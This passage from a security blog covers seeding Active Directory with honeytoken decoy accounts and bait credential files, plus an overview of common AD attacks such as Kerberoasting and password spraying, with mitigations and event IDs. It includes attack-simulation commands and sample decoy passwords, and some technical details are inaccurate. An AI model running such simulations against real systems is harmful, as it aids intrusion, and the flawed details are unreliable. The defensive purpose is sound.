class="s2">&#34;OU=NotSynced,DC=contoso,DC=local&#34;</span></span></span></code></pre></div></div>
<p><strong>Step 2: Restrict the account</strong></p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">Set-ADUser</span> <span class="n">-Identity</span> <span class="s2">&#34;svc_backup&#34;</span> <span class="n">-LogonWorkstations</span> <span class="s2">&#34;&#34;</span></span></span></code></pre></div></div>
<p><strong>Step 3: Assign fake SPNs</strong></p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">setspn -S MSSQL/fake-database01.contoso.local contoso\svc_backupsetspn -S HTTP/fake-webapp.contoso.local contoso\svc_backup</span></span></code></pre></div></div>
<p><strong>Step 4: Add to permissive-looking groups</strong></p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nv">$groups</span> <span class="p">=</span> <span class="vm">@</span><span class="p">(</span><span class="s2">&#34;Remote Desktop Users&#34;</span><span class="p">,</span> <span class="s2">&#34;Backup Operators&#34;</span><span class="p">)</span><span class="nv">$user</span> <span class="p">=</span> <span class="s2">&#34;svc_backup&#34;</span><span class="k">foreach</span> <span class="p">(</span><span class="nv">$group</span> <span class="k">in</span> <span class="nv">$groups</span><span class="p">)</span> <span class="p">{</span>    <span class="k">if</span> <span class="p">(</span><span class="o">-not</span> <span class="p">(</span><span class="nb">Get-ADGroupMember</span> <span class="n">-Identity</span> <span class="nv">$group</span> <span class="n">-Recursive</span> <span class="p">|</span> <span class="nb">Where-Object</span> <span class="p">{</span> <span class="nv">$_</span><span class="p">.</span><span class="py">SamAccountName</span> <span class="o">-eq</span> <span class="nv">$user</span> <span class="p">}))</span> <span class="p">{</span>        <span class="nb">Add-ADGroupMember</span> <span class="n">-Identity</span> <span class="nv">$group</span> <span class="n">-Members</span> <span class="nv">$user</span>    <span class="p">}}</span></span></span></code></pre></div></div>

<h3 class="relative group">Scenario 2: Legacy or stale-looking acccount (on-premises AD, non-synced)
    <div id="scenario-2-legacy-or-stale-looking-acccount-on-premises-ad-non-synced" class="anchor"></div>
    
</h3>
<p>This scenario leverages an old or unused account, renamed to appear legitimate, and left visible in AD to catch unauthorized access or enumeration.</p>
<p><strong>Step 1: Identify an unused or stale account</strong></p>
<p>You can locate unused accounts with PowerShell:</p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Search-ADAccount -AccountInactive -UsersOnly -TimeSpan 180.00:00:00</span></span></code></pre></div></div>
<p><strong>Step 2: Rename the account</strong></p>
<p>Choose a generic name that reflects legacy usage:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">Rename-ADObject</span> <span class="n">-Identity</span> <span class="s2">&#34;CN=John.Doe,CN=Users,DC=contoso,DC=local&#34;</span> <span class="n">-NewName</span> <span class="s2">&#34;Back Office&#34;</span><span class="nb">Set-ADUser</span> <span class="n">-Identity</span> <span class="s2">&#34;BackOffice&#34;</span> <span class="n">-SamAccountName</span> <span class="s2">&#34;Back Office&#34;</span> <span class="n">-UserPrincipalName</span> <span class="s2">&#34;BackOffice@contoso.local&#34;</span></span></span></code></pre></div></div>
<p>Or create a new one, depending on your environment:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">New-ADUser</span>   <span class="n">-Name</span> <span class="s2">&#34;Temp Admin&#34;</span>   <span class="n">-SamAccountName</span> <span class="s2">&#34;TempAdmin&#34;</span>   <span class="n">-UserPrincipalName</span> <span class="s2">&#34;TempAdmin@contoso.local&#34;</span>   <span class="n">-AccountPassword</span> <span class="p">(</span><span class="nb">ConvertTo-SecureString</span> <span class="s2">&#34;YetAnotherStrongPass#2024&#34;</span> <span class="n">-AsPlainText</span> <span class="n">-Force</span><span class="p">)</span>   <span class="n">-Enabled</span> <span class="vm">$true</span>   <span class="n">-PasswordNeverExpires</span> <span class="vm">$true</span>   <span class="n">-CannotChangePassword</span> <span class="vm">$true</span>   <span class="n">-Path</span> <span class="s2">&#34;OU=NotSynced,DC=contoso,DC=local&#34;</span></span></span></code></pre></div></div>
<p><strong>Step 3: (Optional) Add to permissive-looking groups</strong></p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">Add-ADGroupMember</span> <span class="n">-Identity</span> <span class="s2">&#34;Help Desk&#34;</span> <span class="n">-Members</span> <span class="n">BackOffice</span></span></span></code></pre></div></div>

<h2 class="relative group">Setting up accounts in MDI
    <div id="setting-up-accounts-in-mdi" class="anchor"></div>
    
</h2>

<h3 class="relative group">Configuration Steps
    <div id="configuration-steps" class="anchor"></div>
    
</h3>
<p><strong>Access Defender for Identity settings</strong>:</p>
<ul>
<li>Go to <strong>Microsoft 365 Defender</strong> &gt; <strong>Identity</strong> &gt; <strong>Settings</strong></li>
<li>Use the button <strong>Tag users</strong> to tag the above created users</li>
</ul>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Two honeytoken accounts tagged in the Defender for Identity entity tags"
    width="2000"
    height="1154"
    src="https://www.modernsecurity.nl/honeytoken-microsoft-defender-for-identity/image-2_hu_ee48c01fcae44ee1.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/honeytoken-microsoft-defender-for-identity/image-2.webp"></figure>
<h2 class="relative group">Strategic placement of Honeytoken credentials
    <div id="strategic-placement-of-honeytoken-credentials" class="anchor"></div>
    
</h2>
<p>Creating and tagging honeytoken accounts is only part of an effective deception strategy. To increase the likelihood of detection, organizations should <strong>intentionally plant fake credentials</strong> in locations attackers are likely to explore: such as <strong>file shares</strong>, <strong>SharePoint</strong>, and <strong>network drives</strong>.</p>
<p>These planted credentials act as bait during internal reconnaissance and privilege escalation attempts.</p>

<h3 class="relative group">Recommended locations
    <div id="recommended-locations" class="anchor"></div>
    
</h3>
<p><strong>File servers and network shares</strong><br>
Place fake credential files on accessible shares that mimic sensitive or forgotten data repositories:</p>
<ul>
<li><code>\\fileserver\IT\old_credentials.txt</code></li>
<li><code>\\fileserver\Finance\VPN_Access.xlsx</code></li>
<li><code>\\nas01\Archive\admin_creds.docx</code></li>
</ul>
<p>Use realistic formats and filenames, such as:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">YAML</div><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">Username</span><span class="p">:</span><span class="w"> </span><span class="nt">svc_backup@contoso.local  Password</span><span class="p">:</span><span class="w"> </span><span class="l">P@ssw0rd1234!</span></span></span></code></pre></div></div>
<p><strong>SharePoint document libraries</strong><br>
Upload decoy files to shared SharePoint folders that appear internal or technical in nature:</p>
<ul>
<li><code>HR_Accounts_Export.xlsx</code></li>
<li><code>Support_Logins_March.docx</code></li>
<li><code>Infrastructure_Passwords_Archive.zip</code></li>
</ul>
<p>Make sure the files are readable but isolated from legitimate workflows. Limit indexing and sharing where possible to reduce noise.</p>
<p><strong>Mapped drives</strong><br>
Mapped drives often appear during lateral movement and are browsed manually or with tools. Place credentials in deep folder paths like:</p>
<ul>
<li><code>S:\Projects\Legacy\Support\credentials.txt</code></li>
<li><code>R:\InternalDocs\Infra\Old_DB_Logins.docx</code></li>
</ul>
<p>The goal is to make the data visible to intruders who gain file-level access, while ensuring it’s <strong>meaningless and unused</strong> by legitimate users.</p>

<h2 class="relative group">Configuring monitoring in MDI and Sentinel
    <div id="configuring-monitoring-in-mdi-and-sentinel" class="anchor"></div>
    
</h2>

<h3 class="relative group">Native alerting in MDI
    <div id="native-alerting-in-mdi" class="anchor"></div>
    
</h3>
<p>Once the accounts are registered in <strong>Microsoft Defender for Identity</strong>, the platform automatically generates alerts when the account is:</p>
<ul>
<li>Queried via <strong>LDAP</strong> or <strong>SAM-R</strong></li>
<li>Used for <strong>authentication</strong></li>
<li>Targeted by a <strong>Kerberos TGS request</strong> (Kerberoasting)</li>
<li><strong>Modified</strong> or <strong>added to groups</strong></li>
</ul>
<p>These alerts are built-in, preclassified by Microsoft, and do <strong>not require any custom rule creation</strong>.</p>

<h3 class="relative group">Connect MDI to Microsoft Sentinel
    <div id="connect-mdi-to-microsoft-sentinel" class="anchor"></div>
    
</h3>
<ul>
<li>Use the <strong>Microsoft Defender for Identity</strong> data connector in Sentinel</li>
<li>Alerts from MDI are ingested automatically through the <strong>Microsoft 365 Defender integration</strong></li>
</ul>

<h3 class="relative group">Sample KQL query: view all Honeytoken alerts
    <div id="sample-kql-query-view-all-honeytoken-alerts" class="anchor"></div>
    
</h3>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">kqlKopiërenBewerkenSecurityAlert
<span class="o">|</span> <span class="k">where</span> ProductName <span class="o">==</span> <span class="s">&#34;Azure Advanced Threat Protection&#34;</span>
<span class="o">|</span> <span class="k">where</span> AlertName <span class="k">contains</span> <span class="s">&#34;Honeytoken&#34;</span>
<span class="o">|</span> <span class="k">project</span> TimeGenerated, AlertName, CompromisedEntity, Entities, AlertSeverity, Description</code></pre></div>
</div>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Sentinel log query showing honeytoken alerts from Defender for Identity"
    width="2000"
    height="1154"
    src="https://www.modernsecurity.nl/honeytoken-microsoft-defender-for-identity/image-1_hu_e6f989c07ae49e4c.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/honeytoken-microsoft-defender-for-identity/image-1.webp"></figure><p>This query surfaces all alerts triggered specifically by above criteria</p>

<h2 class="relative group">Tools and techniques for testing effectiveness
    <div id="tools-and-techniques-for-testing-effectiveness" class="anchor"></div>
    
</h2>

<h3 class="relative group">Event IDs for monitoring (manually monitoring)
    <div id="event-ids-for-monitoring-manually-monitoring" class="anchor"></div>
    
</h3>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th>Event ID</th>
              <th>Description</th>
              <th>Source</th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td>4624</td>
            <td>Successful account logon</td>
            <td>Security Log</td>
        </tr>
        <tr>
            <td>4768</td>
            <td>Kerberos authentication (TGT request)</td>
            <td>Security Log</td>
        </tr>
        <tr>
            <td>4776</td>
            <td>NTLM authentication attempt</td>
            <td>Security Log</td>
        </tr>
        <tr>
            <td>4648</td>
            <td>Logon attempt using explicit credentials</td>
            <td>Security Log</td>
        </tr>
        <tr>
            <td>4625</td>
            <td>Failed logon attempt</td>
            <td>Security Log</td>
        </tr>
    </tbody>
  </table>
</div>

<h3 class="relative group">Using Microsoft Sysinternals Tools for Testing
    <div id="using-microsoft-sysinternals-tools-for-testing" class="anchor"></div>
    
</h3>
<p><strong>Process Monitor</strong>:</p>
<ul>
<li>Filter <em>Process Monitor</em> to capture “Event Category = Logon/Logoff” and “Username = <code>TempAdmin</code>” for honeytoken activity tracking.</li>
</ul>
<p><strong>PsExec</strong>:</p>
<ul>
<li>Use <em>PsExec</em> to simulate remote access:<br>
<code>powershell PsExec.exe \\RemoteComputer -u contoso.local\TempAdmin -p &lt;password&gt; cmd</code></li>
</ul>

<h3 class="relative group">Detailed testing and simulation Guide
    <div id="detailed-testing-and-simulation-guide" class="anchor"></div>
    
</h3>
<p><strong>Atomic Red Team for credential theft simulation</strong>:</p>
<ul>
<li>Run T1555.003 (Windows Credential Dumping) from Atomic Red Team to simulate credential theft aimed at honeytoken accounts.</li>
</ul>
<p><strong>Invoke-Adversary for lateral movement simulation</strong>:</p>
<ul>
<li>Simulate lateral movement using Invoke-Adversary:<br>
<code>powershell Invoke-Adversary -Command &quot;net use \\\\TargetMachine /USER:Domain\HoneytokenAccount&quot;</code></li>
</ul>

<h2 class="relative group">Combining with Endpoint Deception (MDE)
    <div id="combining-with-endpoint-deception-mde" class="anchor"></div>
    
</h2>
<p>Earlier I’ve blogged about Microsoft Defender for <a href="https://www.modernsecurity.nl/mde-endpoint-deception/" >Endpoint (MDE) Endpoint Deception</a>, the nice thing is you could also combine MDE Deception (custom) with MDI HoneyAccounts.</p>
<p>While Microsoft Defender for Identity help detecting identity-based attacks like Kerberoasting or LDAP enumeration, many attackers continue their activity on endpoints. That’s where <strong>Microsoft Defender for Endpoint (MDE) deception</strong> comes in.</p>
<p>By enabling deception in MDE, fake credentials, files, and network shares are silently deployed on endpoints. If an attacker interacts with these lures, an alert is triggered, often before they reach critical systems.</p>
<p>To increase detection coverage place your <strong>honeytoken credentials</strong> (e.g., <code>svc_backup@contoso.local</code>) in <strong>fake <code>.txt</code> or <code>.xlsx</code> files</strong>. Combined, MDI and MDE deception provide layered, early detection across both identity and endpoint layers, all correlated automatically in Microsoft 365 Defender or Sentinel.</p>

<h2 class="relative group">Best Practices for deploying Honeytokens in MDI
    <div id="best-practices-for-deploying-honeytokens-in-mdi" class="anchor"></div>
    
</h2>
<ul>
<li><strong>Rotate Honeytoken Accounts regularly</strong>: Regularly update or replace honeytokens to prevent attackers from identifying patterns.</li>
<li><strong>Review alert thresholds</strong>: Fine-tune alert settings to avoid unnecessary notifications, ensuring that honeytoken alerts are highly actionable.</li>
<li><strong>Centralize monitoring in Sentinel</strong>: Use Microsoft Sentinel to centralize alerts and streamline incident management workflows.</li>
</ul>

<h2 class="relative group">Extra resources
    <div id="extra-resources" class="anchor"></div>
    
</h2>
<p><a href="https://techcommunity.microsoft.com/blog/microsoftthreatprotectionblog/deceptive-defense-best-practices-for-identity-based-honeytokens-in-microsoft-def/3851641"  target="_blank" rel="noreferrer">https://techcommunity.microsoft.com/blog/microsoftthreatprotectionblog/deceptive-defense-best-practices-for-identity-based-honeytokens-in-microsoft-def/3851641</a></p>
<p><a href="https://techcommunity.microsoft.com/blog/microsoftsecurityexperts/defender-experts%E2%80%99-recommendations-for-impactful-security-posture-management/4040147"  target="_blank" rel="noreferrer">https://techcommunity.microsoft.com/blog/microsoftsecurityexperts/defender-experts%E2%80%99-recommendations-for-impactful-security-posture-management/4040147</a></p>
<p><a href="https://techcommunity.microsoft.com/blog/microsoftsecurityexperts/follow-the-breadcrumbs-with-microsoft-ir--mdi-working-together-to-fight-identity/4089623"  target="_blank" rel="noreferrer">https://techcommunity.microsoft.com/blog/microsoftsecurityexperts/follow-the-breadcrumbs-with-microsoft-ir–mdi-working-together-to-fight-identity/4089623</a></p>

<h2 class="relative group">Conclusion
    <div id="conclusion" class="anchor"></div>
    
</h2>
<p>Deploying honeytokens within <em>Microsoft Defender for Identity</em> strengthens identity protection, helping organizations detect and respond to identity-based threats early. By strategically configuring, monitoring, and testing honeytokens, organizations can act on high-fidelity alerts and reinforce overall identity security.</p>
]]></content:encoded><media:content url="https://www.modernsecurity.nl/honeytoken-microsoft-defender-for-identity/featured_hu_f2c62b0b00527376.jpg" medium="image" type="image/jpeg" width="1200" height="800"/><enclosure url="https://www.modernsecurity.nl/honeytoken-microsoft-defender-for-identity/featured_hu_f2c62b0b00527376.jpg" type="image/jpeg" length="111101"/></item><item><title>Detecting and mitigating Active Directory compromises</title><link>https://www.modernsecurity.nl/detecting-mitigating-active-directory-compromises/</link><guid isPermaLink="true">https://www.modernsecurity.nl/detecting-mitigating-active-directory-compromises/</guid><pubDate>Wed, 10 Jul 2024 21:36:19 +0100</pubDate><dc:creator>Farid Kalaidji</dc:creator><category>Security</category><category>Microsoft Entra ID (Azure AD)</category><description>Urgently detect and mitigate Active Directory threats. With this blog we take a look at the most common AD attacks and post how the hardening works.</description><content:encoded><![CDATA[<p><strong>Active Directory (AD)</strong> is the backbone of <strong>identity and access management</strong> for most enterprises, making it a prime target for cyberattacks. As a crucial part of managing permissions, users, and systems within a network, <strong>securing Active Directory</strong> is essential for <strong>cybersecurity</strong>. When compromised, AD can give attackers control over the entire network, leading to <strong>data theft</strong>, <strong>espionage</strong>, or <strong>ransomware attacks</strong>.</p>
<p>In a <a href="https://www.modernsecurity.nl/microsoft-deprecates-ntlm/" >previous blog post</a>, I discussed the deprecation of NTLM by Microsoft. However, NTLM is not the only aspect of Active Directory that can be exploited. There are several other vulnerabilities within Active Directory that require attention.</p>
<p>In this guide, we’ll explore <strong>common Active Directory attack techniques</strong>, outline <strong>mitigations</strong> that significantly reduce risk, and provide <strong>detection mechanisms</strong> (including <strong>Event IDs</strong>) for early threat identification. Additionally, we’ll discuss some popular <strong>tools</strong> that can help you monitor and protect your AD environment effectively.</p>

<h2 class="relative group">Why Active Directory is a key target for cyberattacks
    <div id="why-active-directory-is-a-key-target-for-cyberattacks" class="anchor"></div>
    
</h2>
<p>Active Directory handles <strong>centralized authentication</strong> and <strong>authorization</strong> services, controlling access to both on-premises and cloud-based resources like <strong>Microsoft Azure</strong>. Compromising AD allows attackers to:</p>
<ul>
<li><strong>Escalate privileges</strong> and impersonate high-privilege accounts.</li>
<li><strong>Move laterally</strong> across systems, gaining access to sensitive data.</li>
<li><strong>Maintain persistence</strong> in the network, bypassing multi-factor authentication (MFA).</li>
<li><strong>Compromise cloud environments</strong> through connected services.</li>
</ul>
<p>Without proper security measures, an AD compromise can result in serious consequences, including <strong>ransomware attacks</strong>, <strong>data breaches</strong>, and <strong>long-term espionage</strong>.</p>

<h2 class="relative group">Common Active Directory attack techniques, mitigations, and detection
    <div id="common-active-directory-attack-techniques-mitigations-and-detection" class="anchor"></div>
    
</h2>
<p>Securing <strong>Active Directory</strong> involves implementing strong defenses against <strong>attack techniques</strong> used by malicious actors. Below, we describe these techniques, provide <strong>detailed mitigations</strong>, and outline the <strong>tools</strong> you can use to bolster AD security.</p>

<h3 class="relative group">1. Kerberoasting: exploiting service accounts
    <div id="1-kerberoasting-exploiting-service-accounts" class="anchor"></div>
    
</h3>
<p><strong>Attack Overview</strong>:<br>
Kerberoasting exploits <strong>service principal names (SPNs)</strong> tied to service accounts. Attackers request a <strong>Kerberos service ticket</strong> and attempt to crack it offline to obtain the service account’s password, often giving them high-level privileges.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Diagram of a Kerberoasting attack against a domain controller"
    width="1082"
    height="428"
    src="https://www.modernsecurity.nl/detecting-mitigating-active-directory-compromises/image-1_hu_e6a23a88d4e455e0.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/detecting-mitigating-active-directory-compromises/image-1.webp"><figcaption>Source: ASD / ACSC</figcaption></figure><p><strong>Mitigations</strong>:</p>
<ul>
<li><strong>Minimize the use of SPNs</strong>: Only use SPNs for services where absolutely necessary. Reducing the number of service accounts with SPNs will limit the attack surface for Kerberoasting.</li>
<li><strong>Use gMSAs (Group Managed Service Accounts)</strong>: These accounts provide long, complex passwords that rotate automatically. Tools like <strong>Microsoft LAPS</strong> (Local Administrator Password Solution) can help manage this process.</li>
<li><strong>Enforce strong password policies</strong>: Service accounts should have <strong>at least 30-character</strong> passwords, with a mix of random letters, numbers, and symbols.</li>
<li><strong>Restrict service account privileges</strong>: Ensure service accounts are not members of highly privileged groups like Domain Admins unless absolutely necessary.</li>
</ul>
<p><strong>Tools for Mitigation</strong>:</p>
<ul>
<li><strong><a href="https://github.com/BloodHoundAD/BloodHound"  target="_blank" rel="noreferrer">BloodHound</a></strong>: Helps identify and analyze AD relationships, including SPNs and potentially vulnerable service accounts.</li>
<li><strong><a href="https://www.microsoft.com/en-us/download/details.aspx?id=46899"  target="_blank" rel="noreferrer">Microsoft LAPS</a></strong>: Manages password complexity and rotation for local admin accounts and gMSAs.</li>
</ul>
<p><strong>Detection Mechanisms</strong>:</p>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th><strong>Event ID</strong></th>
              <th><strong>Description</strong></th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td><strong>4769</strong></td>
            <td>TGS ticket requests; look for numerous requests in a short timeframe, especially with RC4 encryption.</td>
        </tr>
        <tr>
            <td><strong>4738 / 5136</strong></td>
            <td>Detects modifications to user accounts, particularly changes to SPNs.</td>
        </tr>
    </tbody>
  </table>
</div>

<h3 class="relative group">2. AS-REP Roasting: targeting accounts without pre-authentication
    <div id="2-as-rep-roasting-targeting-accounts-without-pre-authentication" class="anchor"></div>
    
</h3>
<p><strong>Attack Overview</strong>:<br>
AS-REP Roasting targets accounts that do not require <strong>Kerberos pre-authentication</strong>, allowing attackers to obtain an encrypted ticket that can be cracked offline to reveal the account’s password.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Diagram of an AS-REP Roasting attack against a domain controller"
    width="1082"
    height="481"
    src="https://www.modernsecurity.nl/detecting-mitigating-active-directory-compromises/image-2_hu_85184ee675e11019.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/detecting-mitigating-active-directory-compromises/image-2.webp"><figcaption>Source: ASD / ACSC</figcaption></figure><p><strong>Mitigations</strong>:</p>
<ul>
<li><strong>Enforce Kerberos pre-authentication</strong>: Ensure all accounts require pre-authentication, which prevents attackers from requesting an encrypted ticket.</li>
<li><strong>Use strong passwords</strong>: Accounts that need to bypass pre-authentication should still have strong, <strong>randomly generated</strong> passwords (15+ characters).</li>
</ul>
<p><strong>Tools for Mitigation</strong>:</p>
<ul>
<li><strong><a href="https://www.pingcastle.com/"  target="_blank" rel="noreferrer">PingCastle</a></strong>: Provides a security report for AD environments, including checks for weak configurations such as accounts without pre-authentication.</li>
</ul>
<p><strong>Detection Mechanisms</strong>:</p>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th><strong>Event ID</strong></th>
              <th><strong>Description</strong></th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td><strong>4768</strong></td>
            <td>Detects TGT requests; monitor accounts that bypass pre-authentication.</td>
        </tr>
        <tr>
            <td><strong>4625</strong></td>
            <td>Monitors failed logons targeting pre-authentication-disabled accounts.</td>
        </tr>
    </tbody>
  </table>
</div>

<h3 class="relative group">3. Password Spraying: exploiting weak password policies
    <div id="3-password-spraying-exploiting-weak-password-policies" class="anchor"></div>
    
</h3>
<p><strong>Attack Overview</strong>:<br>
Password spraying involves trying commonly used passwords (e.g., “Password123”) across many accounts, attempting to gain access without triggering account lockouts.</p>
<p><strong>Mitigations</strong>:</p>
<ul>
<li><strong>Implement strong password policies</strong>: Passwords should be long (15+ characters) and unpredictable, such as <strong>passphrases</strong> consisting of random words.</li>
<li><strong>Use Multi-Factor Authentication (MFA)</strong>: Implement MFA for all accounts, especially privileged ones. This adds an extra layer of security that password spraying alone cannot bypass.</li>
<li><strong>Set account lockout thresholds</strong>: Configure lockouts after a certain number of failed logon attempts (e.g., five). Ensure that administrators are alerted when an account is locked.</li>
<li><strong>Disable NTLM</strong>: Since NTLM (an older protocol) doesn’t support MFA, it should be disabled in favor of Kerberos.</li>
</ul>
<p><strong>Tools for Mitigation</strong>:</p>
<ul>
<li><strong><a href="https://www.microsoft.com/en-us/security/business/siem-and-xdr/microsoft-defender-for-identity"  target="_blank" rel="noreferrer">Microsoft Defender for Identity</a></strong>: Detects and investigates attacks targeting AD, including password spraying.</li>
<li><strong><a href="https://github.com/dafthack/DomainPasswordSpray"  target="_blank" rel="noreferrer">DomainPasswordSpray</a></strong>: A testing tool to simulate password spraying attacks and test your AD’s defenses.</li>
</ul>
<p><strong>Detection Mechanisms</strong>:</p>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th><strong>Event ID</strong></th>
              <th><strong>Description</strong></th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td><strong>4625</strong></td>
            <td>Failed logons; a high volume of failed attempts over a short period could indicate password spraying.</td>
        </tr>
        <tr>
            <td><strong>4740</strong></td>
            <td>Detects account lockouts; sudden spikes may suggest a password spraying attack.</td>
        </tr>
        <tr>
            <td><strong>2889</strong></td>
            <td>Tracks unsigned LDAP binds, which attackers might use for password spraying.</td>
        </tr>
    </tbody>
  </table>
</div>

<h3 class="relative group">4. MachineAccountQuota exploitation: abuse of default settings
    <div id="4-machineaccountquota-exploitation-abuse-of-default-settings" class="anchor"></div>
    
</h3>
<p><strong>Attack Overview</strong>:<br>
By default, AD allows users to create up to 10 machine accounts. Attackers can exploit this to escalate privileges or move laterally within the network.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Diagram of an attacker abusing the default machine account quota to create a computer object"
    width="1084"
    height="642"
    src="https://www.modernsecurity.nl/detecting-mitigating-active-directory-compromises/image-3_hu_1bd29579e10793ae.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/detecting-mitigating-active-directory-compromises/image-3.webp"><figcaption>Source: ASD / ACSC</figcaption></figure><p><strong>Mitigations</strong>:</p>
<ul>
<li><strong>Set MachineAccountQuota to zero</strong>: Prevent non-administrators from creating machine accounts by configuring the MachineAccountQuota setting to zero.</li>
<li><strong>Audit permissions regularly</strong>: Regularly review permissions for the <strong>Domain Computers</strong> group and ensure no excessive privileges are granted.</li>
<li><strong>Enable LDAP signing</strong>: LDAP signing ensures secure communication between AD and LDAP clients, reducing the risk of attacks that abuse this default setting.</li>
</ul>
<p><strong>Tools for Mitigation</strong>:</p>
<ul>
<li><strong><a href="https://www.pingcastle.com/"  target="_blank" rel="noreferrer">PingCastle</a></strong>: Detects misconfigurations like MachineAccountQuota abuse.</li>
<li><strong><a href="https://www.semperis.com/purple-knight/"  target="_blank" rel="noreferrer">Purple Knight</a></strong>: An AD security tool that identifies weaknesses in your AD configuration.</li>
</ul>
<p><strong>Detection Mechanisms</strong>:</p>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th><strong>Event ID</strong></th>
              <th><strong>Description</strong></th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td><strong>4741</strong></td>
            <td>Tracks the creation of new computer objects. Non-administrative user activity creating accounts may indicate abuse.</td>
        </tr>
    </tbody>
  </table>
</div>

<h3 class="relative group">5. Unconstrained Delegation: exploiting privileged accounts
    <div id="5-unconstrained-delegation-exploiting-privileged-accounts" class="anchor"></div>
    
</h3>
<p><strong>Attack Overview</strong>:<br>
Attackers exploit <strong>unconstrained delegation</strong> to impersonate user accounts, particularly privileged users, by extracting their <strong>Kerberos tickets</strong> from memory. This often gives them Domain Admin-level access.</p>
<p><strong>Mitigations</strong>:</p>
<ul>
<li><strong>Disable unconstrained delegation</strong>: Replace it with <strong>resource-based constrained delegation</strong>, which limits impersonation rights.</li>
<li><strong>Mark privileged accounts as non-delegatable</strong>: Ensure accounts like Domain Admins and sensitive user accounts cannot be delegated by setting them as “sensitive.”</li>
<li><strong>Disable the Print Spooler service on Domain Controllers</strong>: This prevents attackers from using <strong>PrintNightmare-type vulnerabilities</strong> to exploit unconstrained delegation.</li>
</ul>
<p><strong>Tools for Mitigation</strong>:</p>
<ul>
<li><strong><a href="https://github.com/BloodHoundAD/BloodHound"  target="_blank" rel="noreferrer">BloodHound</a></strong>: Detects systems configured for unconstrained delegation and helps analyze attack paths involving Kerberos tickets.</li>
<li><strong><a href="https://www.microsoft.com/en-us/security/business/siem-and-xdr/microsoft-defender-for-identity"  target="_blank" rel="noreferrer">Microsoft Defender for Identity</a></strong>: Identifies suspicious activity involving delegation and privilege escalation.</li>
</ul>
<p><strong>Detection Mechanisms</strong>:</p>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th><strong>Event ID</strong></th>
              <th><strong>Description</strong></th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td><strong>4624</strong></td>
            <td>Successful logons; unusual logons to systems with unconstrained delegation may indicate abuse.</td>
        </tr>
        <tr>
            <td><strong>4104</strong></td>
            <td>PowerShell execution; monitor for scripts related to unconstrained delegation exploitation.</td>
        </tr>
    </tbody>
  </table>
</div>

<h3 class="relative group">6. Active Directory Certificate Services (AD CS) compromise: exploiting misconfigured certificates
    <div id="6-active-directory-certificate-services-ad-cs-compromise-exploiting-misconfigured-certificates" class="anchor"></div>
    
</h3>
<p><strong>Attack Overview</strong>:<br>
Misconfigured <strong>Active Directory Certificate Services (AD CS)</strong> allow attackers to issue certificates that can impersonate any user, including privileged ones.</p>
<p><strong>Mitigations</strong>:</p>
<ul>
<li><strong>Harden AD CS configurations</strong>: Remove vulnerable certificate templates, especially those that allow <strong>user-supplied subject alternative names (SANs)</strong>.</li>
<li><strong>Restrict who can modify templates</strong>: Limit certificate template modifications to only authorized personnel to prevent exploitation.</li>
<li><strong>Use Hardware Security Modules (HSMs)</strong>: HSMs protect the private keys of the CA, preventing attackers from extracting sensitive information.</li>
</ul>
<p><strong>Tools for Mitigation</strong>:</p>
<ul>
<li><strong><a href="https://github.com/GhostPack/Certify"  target="_blank" rel="noreferrer">Certify</a></strong>: A tool that helps security teams identify misconfigured AD CS templates.</li>
<li><strong><a href="https://github.com/GhostPack/PSPKIAudit"  target="_blank" rel="noreferrer">PSPKIAudit</a></strong>: An open-source tool to audit your AD Certificate Services for vulnerabilities.</li>
</ul>
<p><strong>Detection Mechanisms</strong>:</p>

